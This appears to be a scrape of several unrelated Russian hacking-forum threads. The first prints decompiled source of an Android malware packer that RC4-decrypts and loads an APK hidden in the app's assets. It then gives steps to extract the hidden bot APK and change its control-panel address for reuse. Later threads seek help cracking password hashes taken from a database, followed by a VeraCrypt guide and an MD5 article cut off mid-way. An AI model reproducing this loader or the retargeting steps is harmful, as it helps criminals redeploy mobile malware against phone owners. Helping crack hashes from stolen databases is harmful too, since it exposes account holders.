import java.util.ArrayList;
import java.util.Map;

public class Protector extends Application {
private static final int SBOX_LENGTH = 256;
String KeyDecryptFile = "lvqfaazdsgdgc";
String LOGD_TAG_DBG = "(Protector)Debug";
String META_KEY_APP_CLASS = "efbznkkwfjpicoed";
String NAME_DIR_LIB = "DynamicLib";
String NAME_DIR_OPT_DEX = "DynamicOptDex";
String NAME_SRC_APK = strDecRC4("MDQ1Zjk3OGNjZDNhYjM5M2ZkZWFhMDIxZGIwOTNl", "zaqvkapmmxecwhoq");
int SIZE_BUF = 1024;
private int i = 0;
private int j = 0;
Context mCtxBase = null;
private int[] sbox;
[/CLIKE]

Кто в теме все понял расходимся

Полный код на сколько это возможно
[CLIKE]
Опять попался дрочер мелкий=)

package dsehiqshfdrhb.dypadwxhqmvc.nivztjt;

import android.app.Application;
import android.content.Context;
import android.util.Base64;
import android.util.Log;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.ref.WeakReference;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Map;

public class Protector extends Application {
private static final int SBOX_LENGTH = 256;
String KeyDecryptFile = "lvqfaazdsgdgc";
String LOGD_TAG_DBG = "(Protector)Debug";
String META_KEY_APP_CLASS = "efbznkkwfjpicoed";
String NAME_DIR_LIB = "DynamicLib";
String NAME_DIR_OPT_DEX = "DynamicOptDex";
String NAME_SRC_APK = strDecRC4("MDQ1Zjk3OGNjZDNhYjM5M2ZkZWFhMDIxZGIwOTNl", "zaqvkapmmxecwhoq");
int SIZE_BUF = 1024;
private int i = 0;
private int j = 0;
Context mCtxBase = null;
private int[] sbox;

public byte[] encrypt(byte[] bArr) {
this.sbox = initSBox(this.KeyDecryptFile.getBytes());
byte[] bArr2 = new byte[bArr.length];
for (int i2 = 0; i2 < bArr.length; i2++) {
this.i = (this.i + 1) % 256;
int i3 = this.j;
int[] iArr = this.sbox;
int i4 = this.i;
this.j = (i3 + iArr[i4]) % 256;
swap(i4, this.j, iArr);
int[] iArr2 = this.sbox;
bArr2[i2] = (byte) (iArr2[(iArr2[this.i] + iArr2[this.j]) % 256] ^ bArr[i2]);
}
return bArr2;
}

private int[] initSBox(byte[] bArr) {
int[] iArr = new int[256];
for (int i2 = 0; i2 < 256; i2++) {
iArr[i2] = i2;
}
int i3 = 0;
for (int i4 = 0; i4 < 256; i4++) {
i3 = (((i3 + iArr[i4]) + bArr[i4 % bArr.length]) + 256) % 256;
swap(i4, i3, iArr);
}
return iArr;
}

private void swap(int i2, int i3, int[] iArr) {
int i4 = iArr[i2];
iArr[i2] = iArr[i3];
iArr[i3] = i4;
}

public byte[] FileDecrypt(byte[] bArr) throws IOException {
return encrypt(bArr);
}

public String strDecRC4(String str, String str2) {
try {
return new String(new RC4(str2.getBytes()).decrypt(hexStringToByteArray(new String(Base64.decode(str, 0), "UTF-8"))));
} catch (Exception unused) {
return BuildConfig.FLAVOR;
}
}

public byte[] hexStringToByteArray(String str) {
int length = str.length();
byte[] bArr = new byte[(length / 2)];
for (int i2 = 0; i2 < length; i2 += 2) {
bArr[i2 / 2] = (byte) ((Character.digit(str.charAt(i2), 16) << 4) + Character.digit(str.charAt(i2 + 1), 16));
}
return bArr;
}

/* access modifiers changed from: protected */
public void attachBaseContext(Context context) {
super.attachBaseContext(context);
Log.d(this.LOGD_TAG_DBG, context.toString());
this.mCtxBase = context;
File dir = context.getDir(this.NAME_DIR_OPT_DEX, 0);
File dir2 = context.getDir(this.NAME_DIR_LIB, 0);
String absolutePath = dir.getAbsolutePath();
dir2.getAbsolutePath();
String absolutePath2 = new File(absolutePath, this.NAME_SRC_APK).getAbsolutePath();
boolean prepareSrcApk = prepareSrcApk(absolutePath2);
if (prepareSrcApk) {
StringBuffer stringBuffer = new StringBuffer();
if (prepareSrcApk) {
replaceClassLoader(absolutePath2, absolutePath, stringBuffer.toString());
}
}
}

public void onCreate() {
super.onCreate();
StringBuffer stringBuffer = new StringBuffer();
if (stringBuffer.length() <= 0 || !replaceApplicationClass(stringBuffer.toString())) {
}
}

public void writeToFile(byte[] bArr, String str) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream(str);
fileOutputStream.write(bArr);
fileOutputStream.close();
}

/* JADX WARNING: Code restructure failed: missing block: B:12:0x003b, code lost:
r4 = move-exception;
/
/
JADX WARNING: Code restructure failed: missing block: B:14:?, code lost:
r4.printStackTrace();
/
/
JADX WARNING: Code restructure failed: missing block: B:15:0x0040, code lost:
r4 = move-exception;
/
/
JADX WARNING: Code restructure failed: missing block: B:16:0x0041, code lost:
r4.printStackTrace();
/
/
JADX WARNING: Code restructure failed: missing block: B:29:0x0065, code lost:
r0 = th;
/
/
JADX WARNING: Code restructure failed: missing block: B:56:?, code lost:
r7.close();
/
/
JADX WARNING: Code restructure failed: missing block: B:57:0x0096, code lost:
r7 = move-exception;
/
/
JADX WARNING: Code restructure failed: missing block: B:58:0x0097, code lost:
r7.printStackTrace();
/
/
JADX WARNING: Code restructure failed: missing block: B:61:?, code lost:
r3.close();
/
/
JADX WARNING: Code restructure failed: missing block: B:62:0x00a0, code lost:
r7 = move-exception;
/
/
JADX WARNING: Code restructure failed: missing block: B:63:0x00a1, code lost:
r7.printStackTrace();
/
/
JADX WARNING: Failed to process nested try/catch /
/
JADX WARNING: Removed duplicated region for block: B:29:0x0065 A[ExcHandler: all (th java.lang.Throwable), Splitter:B:5:0x0018] /
/
JADX WARNING: Removed duplicated region for block: B:43:0x007b A[SYNTHETIC, Splitter:B:43:0x007b] /
/
JADX WARNING: Removed duplicated region for block: B:48:0x0085 A[SYNTHETIC, Splitter:B:48:0x0085] /
/
JADX WARNING: Removed duplicated region for block: B:55:0x0092 A[SYNTHETIC, Splitter:B:55:0x0092] /
/
JADX WARNING: Removed duplicated region for block: B:60:0x009c A[SYNTHETIC, Splitter:B:60:0x009c] /
/
JADX WARNING: Removed duplicated region for block: B:68:? A[RETURN, SYNTHETIC] /
/
Code decompiled incorrectly, please refer to instructions dump. /
private boolean prepareSrcApk(java.lang.String r7) {
/

r6 = this;
java.io.File r0 = new java.io.File
r0.(r7)
android.content.Context r7 = r6.mCtxBase
android.content.res.AssetManager r7 = r7.getAssets()
r1 = 0
r2 = 0
java.lang.String r3 = r6.NAME_SRC_APK // Catch:{ IOException -> 0x0074, all -> 0x0070 }
java.io.InputStream r7 = r7.open(r3) // Catch:{ IOException -> 0x0074, all -> 0x0070 }
java.io.FileOutputStream r3 = new java.io.FileOutputStream // Catch:{ IOException -> 0x006c, all -> 0x0069 }
r3.(r0) // Catch:{ IOException -> 0x006c, all -> 0x0069 }
int r1 = r6.SIZE_BUF // Catch:{ IOException -> 0x0067, all -> 0x0065 }
byte[] r1 = new byte[r1] // Catch:{ IOException -> 0x0067, all -> 0x0065 }
L_0x001c:
int r4 = r7.read(r1) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
if (r4 >= 0) goto L_0x0061
long r4 = r0.length() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
int r1 = (int) r4 // Catch:{ IOException -> 0x0067, all -> 0x0065 }
byte[] r1 = new byte[r1] // Catch:{ IOException -> 0x0067, all -> 0x0065 }
java.io.BufferedInputStream r4 = new java.io.BufferedInputStream // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
java.io.FileInputStream r5 = new java.io.FileInputStream // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r5.(r0) // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r4.(r5) // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
int r5 = r1.length // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r4.read(r1, r2, r5) // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r4.close() // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
goto L_0x0044
L_0x003b:
r4 = move-exception
r4.printStackTrace() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
goto L_0x0044
L_0x0040:
r4 = move-exception
r4.printStackTrace() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
L_0x0044:
byte[] r1 = r6.FileDecrypt(r1) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
java.lang.String r0 = r0.getAbsolutePath() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
r6.writeToFile(r1, r0) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
if (r7 == 0) goto L_0x005b
r7.close() // Catch:{ IOException -> 0x0055 }
goto L_0x005b
L_0x0055:
r7 = move-exception
r7.printStackTrace()
r7 = 0
goto L_0x005c
L_0x005b:
r7 = 1
L_0x005c:
r3.close() // Catch:{ IOException -> 0x0089 }
r2 = r7
goto L_0x008d
L_0x0061:
r3.write(r1, r2, r4) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
goto L_0x001c
L_0x0065:
r0 = move-exception
goto L_0x0090
L_0x0067:
r0 = move-exception
goto L_0x006e
L_0x0069:
r0 = move-exception
r3 = r1
goto L_0x0090
L_0x006c:
r0 = move-exception
r3 = r1
L_0x006e:
r1 = r7
goto L_0x0076
L_0x0070:
r0 = move-exception
r7 = r1
r3 = r7
goto L_0x0090
L_0x0074:
r0 = move-exception
r3 = r1
L_0x0076:
r0.printStackTrace() // Catch:{ all -> 0x008e }
if (r1 == 0) goto L_0x0083
r1.close() // Catch:{ IOException -> 0x007f }
goto L_0x0083
L_0x007f:
r7 = move-exception
r7.printStackTrace()
L_0x0083:
if (r3 == 0) goto L_0x008d
r3.close() // Catch:{ IOException -> 0x0089 }
goto L_0x008d
L_0x0089:
r7 = move-exception
r7.printStackTrace()
L_0x008d:
return r2
L_0x008e:
r0 = move-exception
r7 = r1
L_0x0090:
if (r7 == 0) goto L_0x009a
r7.close() // Catch:{ IOException -> 0x0096 }
goto L_0x009a
L_0x0096:
r7 = move-exception
r7.printStackTrace()
L_0x009a:
if (r3 == 0) goto L_0x00a4
r3.close() // Catch:{ IOException -> 0x00a0 }
goto L_0x00a4
L_0x00a0:
r7 = move-exception
r7.printStackTrace()
L_0x00a4:
throw r0
*/
throw new UnsupportedOperationException("Method not decompiled: dsehiqshfdrhb.dypadwxhqmvc.nivztjt.Protector.prepareSrcApk(java.lang.String):boolean");
}

/* access modifiers changed from: package-private */
public void replaceClassLoader(String str, String str2, String str3) {
try {
Class cls = Class.forName("android.app.ActivityThread"); Class cls2 = Class.forName("android.app.LoadedApk");
Object invoke = cls.getMethod("currentActivityThread", new Class[0]).invoke((Object) null, new Object[0]);
Field declaredField = cls.getDeclaredField("mPackages");
declaredField.setAccessible(true);
WeakReference weakReference = (WeakReference) ((Map) declaredField.get(invoke)).get(this.mCtxBase.getPackageName());
Field declaredField2 = cls2.getDeclaredField("mClassLoader");
declaredField2.setAccessible(true);
declaredField2.set(weakReference.get(), new DexClassLoader(str, str2, str3, (ClassLoader) declaredField2.get(weakReference.get())));
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e2) {
e2.printStackTrace();
} catch (InvocationTargetException e3) {
e3.printStackTrace();
} catch (IllegalAccessException e4) {
e4.printStackTrace();
} catch (NullPointerException e5) {
e5.printStackTrace();
} catch (NoSuchFieldException e6) {
e6.printStackTrace();
}
}

private boolean replaceApplicationClass(String str) {
try {
Log.d(this.LOGD_TAG_DBG, getClassLoader().toString());
Application application = (Application) Class.forName(str, true, getClassLoader()).newInstance();
Class cls = Class.forName("android.app.ContextImpl"); Field declaredField = cls.getDeclaredField("mOuterContext"); declaredField.setAccessible(true); declaredField.set(this.mCtxBase, application); Field declaredField2 = cls.getDeclaredField("mPackageInfo"); declaredField2.setAccessible(true); Object obj = declaredField2.get(this.mCtxBase); Class cls2 = Class.forName("android.app.LoadedApk");
Field declaredField3 = cls2.getDeclaredField("mApplication");
declaredField3.setAccessible(true);
declaredField3.set(obj, application);
Field declaredField4 = cls2.getDeclaredField("mActivityThread");
declaredField4.setAccessible(true);
Object obj2 = declaredField4.get(obj);
Class<?> cls3 = Class.forName("android.app.ActivityThread");
Field declaredField5 = cls3.getDeclaredField("mInitialApplication");
declaredField5.setAccessible(true);
declaredField5.set(obj2, application);
Field declaredField6 = cls3.getDeclaredField("mAllApplications");
declaredField6.setAccessible(true);
ArrayList arrayList = (ArrayList) declaredField6.get(obj2);
arrayList.add(application);
arrayList.remove((Application) getApplicationContext());
Method declaredMethod = Application.class.getDeclaredMethod("attach", new Class[]{Context.class});
declaredMethod.setAccessible(true);
declaredMethod.invoke(application, new Object[]{this.mCtxBase});
application.onCreate();
Log.d(this.LOGD_TAG_DBG, application.toString());
} catch (ClassNotFoundException e) {
e.printStackTrace();
return false;
} catch (InstantiationException e2) {
e2.printStackTrace();
return false;
} catch (IllegalAccessException e3) {
e3.printStackTrace();
return false;
} catch (NoSuchFieldException e4) {
e4.printStackTrace();
return false;
} catch (NoSuchMethodException e5) {
e5.printStackTrace();
} catch (InvocationTargetException e6) {
e6.printStackTrace();
return false;
}
return true;
}
}

[/CLIKE]

Чтобы расшифровать этот гений мысли не нужно даже что то писать, после установки приложения на телефон файл из папки assets расшифровывается и дропается на телефон, в дерикторию приложения.

Квест для самых маленьких:
В старых версиях андроид есть доступ к приватным дерикториям и файлам, знаете другой способ мне глубоко пох я не фанатик андроидов. Ставим андроид студию устанавливаем эмулятор 4-5 андроида ставим бота на эмуль что прикрепил и идем в раздел Device File Explorer и ищем наше приложение по названию lxvnwwtfv.jiogxenwz.jwtxud находим жмем save, сохранили идем в папку resources-assets и видим файл gtnfznugtfjyrhc это и есть наш апк даем ему соответствующие расширение и радуемся жизни. Меняем адрес панели и делаем то что я писал в сполере. Сказали что стоит он 3к$, за паблик даже дописанный........ ну не мне судить.

Может кто знает?
ID: 676536fbb4103b69df373935
Thread ID: 7850
Created: 2006-04-12T17:39:14+0000
Last Post: 2006-05-16T03:51:07+0000
Author: xeal
Replies: 21 Views: 8K

Попалась под руку БД с такими хешами от паролей: d95e8fa7f20a009372eb3477473fcd34:1c
Может кто-нибудь знает, каким алгоритмом это зашифровано? Вроде похоже на МД5 ( с майсола), но что означает ":1c"? (в разных хешах это значение тоже разное).

что за шифрование
ID: 676536fbb4103b69df373929
Thread ID: 12105
Created: 2006-09-27T04:39:52+0000
Last Post: 2006-10-11T09:02:50+0000
Author: durito
Replies: 34 Views: 8K

вот сталкнулся с таким пасами:

s$3pbIc1GPcLw
p$lgA189RApBg
a$sfwQiDahbEI

скрипт шифрует следующим образом:

// this stuff should go below the above stuff (needs $thisDocumentFile)
function makepwd($pwd){
//writefile ($albumRootDir.$strPathSeparator."pwd.txt");
//$_SESSION['pwd'] = $pwd;
}
function setpwd($pwd){
session_register('pwd');
$_SESSION['pwd'] = $pwd;
}
function unsetpwd(){
session_unregister('pwd');
$_SESSION['pwd'] = "";
}
function getpwd(){
global $albumRootDir, $strPathSeparator;
$pwdfile = readonly2array ($albumRootDir.$strPathSeparator."pwd.txt");
return $pwdfile[0];
}
function authenticate($pwdtry){
//echo ("

get pwd = ".getpwd());
//echo ("

try = ".crypt ($pwdtry));
//print "

My system salt size is: ". CRYPT_SALT_LENGTH;
$salt = substr($pwdtry, 0, 1);
//$incomingpwd = $pwdtry;
$incomingpwd = crypt ($pwdtry, $salt);
//echo "

incomming pwd: $incomingpwd
";
//echo ("

from file: ".getpwd()."

");
//echo ("

from funk: $incomingpwd

");
if($incomingpwd == getpwd()){
return TRUE;
} else {
return FALSE;

Click to expand...

если я правильно понял
salt идет до символа $

самое главное чем это можно расшифровать?

Инструкция по использованию VeraCrypt (достойная альтернатива TrueCrypt)
ID: 676536fbb4103b69df3738cb
Thread ID: 28469
Created: 2019-03-28T17:35:52+0000
Last Post: 2019-11-22T16:47:07+0000
Author: tabac
Replies: 18 Views: 7K

VeraCrypt — достойная альтернатива TrueCrypt

Будучи ответвлением (форком) кода TrueCrypt, VeraCrypt поднимает на новый уровень защиту с помощью программ шифрования с открытым кодом, а также устраняет слабые места.
Если вы с неохотой продолжаете использовать заброшенный TrueCrypt, и вы не хотите ждать пока созреет CipherShed, очень полезным для вас станет изучение альтернативы — VeraCrypt (второй официальный сайт проекта VeraCrypt).

VeraCrypt это также форк оригинального кода TrueCrypt, и эта программа была запущена в июне 2013. Консультант по безопасности в сфере информационных технологий Мунир Идрасси (Mounir Idrassi), который располагается во Франции, запустил проект и является его основным донором.

Инновации г-на Идрасси в развитии VeraCrypt восходят к 2012 году, когда его попросили интегрировать TrueCrypt с продуктом клиента. Перед выполнением этой задачи был проведёт аудит безопасности кода и выявлены некоторые вопросы. «Там не было никаких больших проблем, ни бэкдоров или чего-нибудь вроде этого. Но там были некоторые мелочи, поэтому мы решили начать VeraCrypt», сказал он.

Г-н Идрасси сказал, что главная слабость в TrueCrypt была в том, по его мнению, что он был не безопасен против атаки брут форсом (перебором вариантов). Особенно тот способ, которым программа трансформировала пароль для получения ключа был недостаточно хорош, скзал он. «TrueCrypt использует трансформации, которые не являются очень сложными. Это недостаточно, особенно сейчас с облачными системами взлома», объяснил он.

Слабость TrueCrypt

В технических терминах, когда системный раздел зашифрован, TrueCrypt использует PBKDF2-RIPEMD160 с 1000 итерациями. Для стандартных контейнеров и для других (например, не системных) разделов, TrueCrypt использует самое большее 2000 итераций.

Что г-н Идрасси сделал, так это налёг на процесс трансформации. VeraCrypt использует 327,661 итераций алгоритма PBKDF2-RIPEMD160 для системных разделов, и для стандартных контейнеров и для других разделов она использует 655,331 итераций RIPEMD160 и 500,000 итераций SHA-2 и Whirlpool, сказал он.

В то время как это делает VeraCrypt слегка медленнее в процессе открытия зашифрованных разделов, это делает эту программу минимум в 10 раз и максимум в примерно 300 раз труднее для взлома посредством перебора вариантов. «По сути то, что может занять месяц на взлом защифрованного TrueCrypt’ом может занять год на зашифрованное VeraCrypt’ом», говорит г-н Идрасси.

Как результат этих изменений, формат контейнеров VeraCrypt несовместим с форматом TrueCrypt. Т.е. это может стать проблемой для каждого, кто собирается перебраться с TrueCrypt на VeraCrypt, г-н Идрасси сказал, что он работает над инструментом конвертации, который будет доступен в ближайшие три месяца.

Лучше чем TrueCrypt

Также как над увеличением числа итераций, которое уже выполнено, Идрасси сказал, что он обратился к слабостям в API и драйверов и к проверке параметров. Этот код также уведён от возможностей инструментов для статического анализа, и изменения сделаны для корректировки дефектов, которые выявил анализ.

«До этого наше внимание было сосредоточено на безопасности, следующим шагом будет добавление новых функций», сказал Идрасси, добавление новых функций будет включать совместимость с UEFI (чтобы эта программа работала, к примеру, с Windows 8 и 10) и совместимостью со стенографией — используемой для сокрытия информации в таких вещах как цифровые файлы изображений.

Очевидный вопрос, рассматривает ли Идрасси возможность объединения усилий с командой проекта CipherShed. Он сказал, что он связывался с Биллом Коксом (Bill Cox), членом комитета по управлению проектом CipherShed ещё в июне и спрашивал помощи, но он слишком занят. «У меня нет много времени, но я, конечно, могу способствовать патчами и вещами вроде этого», сказал он.

Но есть и другие причины, почему Идрасси неохотно вмешивается.

«Главная особенность, которая у меня есть и по которой мы не нашли согласия: CipherShed думает, что это нормально продолжать использовать формат TrueCrypt (использующий меньшее количество итераций). Но мы не рассматриваем его достаточно безопасным — не для обеспечения высокого уровня безопасности против людей или организаций с громадными ресурсами», сказал он.

Эффект АНБ

Идрасси намекнул, что нарушение совместимости с TrueCrypt является хорошей идеей также и по другой причине. «В течение более чем 10 лет правоохранительные органы развивали инфраструктуру и инструменты для судебной экспертизы томов TrueCrypt», сказал он.

Изменение формата и добавление сложности, следовательно, это не то, что приветствуют специальные органы, которые, мы предполагаем, делают проблемной внедрение этого и участие в развитии VeraCrypt для любых базирующихся в США разработчиков. «Если вы принимаете участие в проекте вроде этого, тогда вы будете «на карандаше» Соединённых Штатов. Мы базируемся во Франции, следовательно, для нас это не проблема», сказал он.

Как результат, у VeraCrypt есть немного доноров, кроме самого Идрасси. «Это не игра», сказал он. «Это очень серьёзно и мы делаем это как профессионалы. Мы очень прозрачны: проект публичный, власти Франции уведомлены о нём. Но поэтому-то и не много людей участвуют».

Без конспирологии TrueCrypt

В том, что TrueCrypt была покинута её разработчиками, Идраси не видит причин для беспокойства. «Я уверен, что люди вовлечённые в TrueCrypt не были анонимными и специальные органы знали, кто они», сказал он. «Но когда вы смотрите в этот код, появляется мысль, что этим людям было 40 лет в 1995. Следовательно, сейчас им по 60, и они возможно устали или ушли на пенсию.

«Когда они остановили проект они знали, это вызовет новые инициативы. Я безусловно не верю, что в этом есть что-то подозрительное», сказал Идрасси.

Что такое VeraCrypt

VeraCrypt — это программа для шифрования данных. Ключевыми особенностями шифрования являются надёжность — в программе нет «закладок» — и используемые асимметричные алгоритмы шифрования; они делают невозможными расшифровку данных кем бы то ни было кроме собственника.

У этой программы есть своя история, свои особенности, свои цели. Я не буду останавливаться на этом в данном мануале.

Что такое контейнер

Тем не менее, необходима совсем краткое теоретическое отступление. На протяжении всей инструкции я буду использовать слово «контейнер ». Применительно к VeraCrypt, контейнер — это оболочка, в которой в зашифрованном виде хранятся все файлы. Физически контенер — это единичный файл. Получить доступ к файлам, которые лежат внутри контейнера-оболочки можно только одним способом — введя правильный пароль. Процедура ввода пароля и подключения контейнера называется «монтированием ».

Файлы в VeraCrypt шифруются не по одному, а контейнерами. Возможно, для вас это ново, но это действительно очень удобно. Когда программа подключает контейнер (монтирует его), то контейнер выглядит как флешка — появляется новый диск. И с этим диском можно делать любые операции — копировать туда файлы, открывать файлы, удалять файлы, редактировать файлы. При этом не нужно думать о шифровании — всё, что внутри контейнера, уже надёжно зашифровано и сохраняется/шифруется в реальном времени. И как только вы отключите контейнер, то вход в него надёжно закроется.

Установка VeraCrypt

Установка на Windows очень проста — точно так же, как и для любой другой программы. Поэтому я совсем не буду останавливаться на этом процессе, только дам ссылку на скачивание.

Шифрование данных в VeraCrypt
Запустите программу. В первую очередь, поменяйте язык программы на русский. Для этого щёлкните на меню ‘Settings’ там выберите ‘Language…’ и далее выберите «Русский».

Теперь нажмите «Создать том» (том — это то же самое что и контейнер).

В открывшемся окне выбрана опция «Создать зашифрованный файловый контейнер» – именно это нам и нужно. Можно просто нажать далее.

А для любопытных небольшое разъяснение. Опция «Зашифровать несистемный раздел / диск». Это на тот случай, если вы хотите полностью зашифровать жёсткий диск или флешку.

Опция «Зашифровать раздел или весь диск с системой» означает то же самое, что и вторая опция, т. е. шифрование диска целиком, но для того случая, когда вы хотите зашифровать диск, на котором установлен Windows. Это, кстати говоря, интересный вариант. Даже если кто-либо получит доступ к вашему компьютеру, он не сможет воспользоваться никакими данными — даже не сможет его включить. Это значительно отличается от пароля БИОС или от пароля Windows. Поскольку оба этих пароля можно с лёгкостью сбросить. Или ещё проще — ничего не сбрасывать, просто вынуть жёсткий диск и скопировать с него данные на другой компьютер, и уже в спокойной обстановке поизучать: вытянуть все пароли от всех веб-сайтов, FTP, просмотреть все данные и т. д. Это хороший вариант, но пока на нём останавливаться не буду — пока мы просто научимся шифровать отдельные файлы.

Ко второму и третьему варианту ещё предлагаются такие опции, как, соответственно, создать скрытый том и создать скрытую ОС. Это очень хитрый и очень мудрый подход. Смысл его заключается в том, что создаётся два контейнера (хотя файл по прежнему будет один). Эти контейнеры открываются в зависимости от введённого пароля. Например, вас силой принуждают выдать пароль, тогда вы действительно сообщаете пароль, но пароль от контейнера, в котором лежит не очень важная информация. Все довольны: вы остались целы, недруги получили пароль и смогли открыть контейнер и даже нашли там какие-то файлы, которые вы предварительно туда поместили.

Точно также со скрытой операционной системой: одна настоящая, в которой и содержаться важные сведения, а вторая — та, которая установлена просто для прикрытия. Загрузка будет происходить в первую или во вторую — в зависимости от введённого пароля.

Эти опции интересные, но, напомню, мы просто учимся шифровать файлы. Поэтому нажимаем далее, ничего не меняя.

На следующем экране нам предлагают выбрать, создавать ли скрытый том. Эта опция на ваше усмотрение, мне достаточного обычного тома.

Теперь выберите, где будет расположен том и какое у него будет название. Название и расширение файла может быть любое — всё на ваше усмотрение. Можете даже выбрать расширение которое используется другими программами, например .mp4, .mkv, mp3 и т. д., можете вообще оставить файл без расширения.

Важно понимать, что если вы выберите существующий файл, то это не значит, что вы его сейчас зашифруете. Это значит, что файл будет удалён, а на его место записан контейнер VeraCrypt. Чтобы зашифровать файлы, мы их чуть позже разместим в созданный контейнер.

Алгоритмы шифрования и алгоритмы хеширования. По умолчанию уже сделан хороший выбор. Вы можете выбрать другой алгоритм, или выбрать сразу несколько алгоритмов, которые последовательно будут шифровать одни и те же данные — всё на ваше усмотрение.

Далее выбираем размер — всё очень просто, чем больше размер, тем больше сможете записывать в зашифрованный контейнер. Следовательно, чем больше выбранный размер, тем больше зашифрованный контейнер будет занимать место на реальном жёстком диске.

Пожалуй, самый ответственный этап — придумывание пароля. Если пароль простой или короткий, представляет собой осмысленное слово, то его довольно быстро смогут подобрать — и ваши данные без вашего желания попадут в руки тех, для кого они не предназначались. В то же самое время, если вы придумаете очень сложный и очень длинный пароль, а потом его забудете — то данные станут безвозвратно утерянными. Даже не знаю, что хуже. В общем пароль должен быть сложным, но вы ни в коем случае не должны его забыть — иначе это будет равносильно удалению зашифрованного контейнера.

В следующем окне нам предлагают поиграть в занимательную игру — хаотически перемещать указатель мыши. Когда вам это надоест, посмотрите на дополнительные настройки. Можно выбрать файловую систему, можно поменять кластер, можно сделать том динамическим. Динамический — этот тот, который будет растягиваться по мере добавления новых данных. Динамический том сэкономит вам место, по крайней мере пока данных внутри контейнера мало. Но при этом динамический том не рекомендуется по целому ряду причин: понижается криптостойкость, появляется возможность повреждения тома и т. д. В общем, это не рекомендуется.

Нажимаем «Разметить».

После окончания форматирования, в следующем окне нас сообщат, что том успешно создан — нажимаем Выход.

Как пользоваться VeraCrypt

Опять, запустите программу VeraCrypt

Выберите любую незанятую букву, нажмите кнопку Файл, найдите ваш контейнер, который мы только что создали и нажмите Смонтировать.

Теперь нам нужно ввести пароль и нажать ОК.

Появится окошечко, которое предупреждает, что этот процесс (монтирования) может занять долгое время и может показаться, что программа не отвечает. На самом деле, процесс не такой уж и долгий — лично я не успел даже сделать скриншот.

Вот так выглядит окно программы после монтирования.

Откройте любой файловый менеджер и посмотрите — у вас появился новый диск. Он выглядит как флешка.

Вот и всё: просто копируйте на этот контейнер свои ценные данные. Вы можете их открывать прямо в контейнере, изменять, удалять, добавлять новые и т. д. – всё как на обычном диске или флешке.

Когда завершите работу с VeraCrypt, нажмите кнопку Размонтировать. Вы закроете доступ во внутрь вашего контейнера и уже никто не сможет получить ваши файлы. Когда они вам вновь понадобятся — смонтируйте том точно также, как это было показано чуть выше.

Настройка VeraCrypt

Самых разных настроек VeraCrypt очень много. Но я расскажу всего лишь о двух (я другими не пользуюсь — и они не такие уж сложные для понимания) — с остальными вы можете ознакомиться самостоятельно или я чуть позже напишу более подробную инструкцию с продвинутыми и необычными трюками по использованию VeraCrypt.

В верхнем меню выберите «Настройки », а затем «Параметры ». Поставьте галочку напротив «Автоматически размонтировать тома при неактивности в течение » и выберите желаемое количество минут. Я, например, задал 30 минут. Т.е. если вы отлучились по делам от компьютера, но забыли размонтировать зашифрованные тома, то по истечении определённого срока, программа это сделает за вас. Чтобы никто случайно не получил к ним доступ.

Теперь переходим в «Настройка », далее «Горячие клавиши ». Теперь выберите «Размонтировать всё » и придумайте для этого действия сочетание клавиш. Т.е. если кто-то ворвётся в офис, то вы одним сочетанием клавиш размонтируете все контейнеры, т. е. закроете к ним доступ. Это может пригодиться чаще, чем вы думаете.

Заключение

Теперь вы можете шифровать файлы так, что никто не способен их расшифровать. Даже современным суперкомпьютерам понадобиться очень много времени, чтобы подобрать пароль. VeraCrypt — бесплатная программа, которая занимает совсем немного места на жёстком диске. Пусть вас не обманывает эта кажущаяся простота. В ваших руках инструмент колоссальной силы — если что-то зашифровано этой программой, то нет никакой возможности это расшифровать, если отсутствует пароль.

Автор: WebWare Team

Алгоритм хэширования MD5
ID: 676536fbb4103b69df373937
Thread ID: 7650
Created: 2006-04-03T21:04:19+0000
Last Post: 2006-05-11T05:42:27+0000
Author: SelF
Replies: 4 Views: 7K

Предлагаю на суд общественности мою статью об алгоритме MD5, напечатанную в xakepy.ru ez!n3 #1:

**

Алгоритм хэширования MD5 ​

**
Введение

Функция хэширования H представляет собой отображение, на вход которого подаётся сообщение M произвольной длины, а на выходе получается значение h конечной длины, где h = H(M).
В общем случае хэш-значение h гораздо меньше исходного сообщения M. Так для MD5 h=128 бит. Хэш-функция должна обладать следующими свойствами:
1По достаточно большому сообщению M хэш-функция должна быстро вычислить h значение, которое должно зависеть от каждого бита сообщения M
2Необратимость: по h значению невозможно восстановить исходный текст M
3Вычислительно очень трудно (почти невозможно) найти два сообщения M и M1, которые дают два одинаковых h-значения
Хэш-значение является контрольной суммой исходного сообщения M и называется MDC (Manipulation Detection Code - код обнаружения изменений) или MIC (Message Integrity Check - проверка целостности сообщения). Если хэш-функция использует для своей работы ключ (пароль), то получаемое значение называется MAC (Message Authentication Code - код аутентичности сообщения)

Описание алгоритма MD5

Подробное официальное описание MD5 даётся в RFC 1321 (The MD5 Message-Digest Algorithm). Ниже приводиться наиболее важные детали русского перевода:
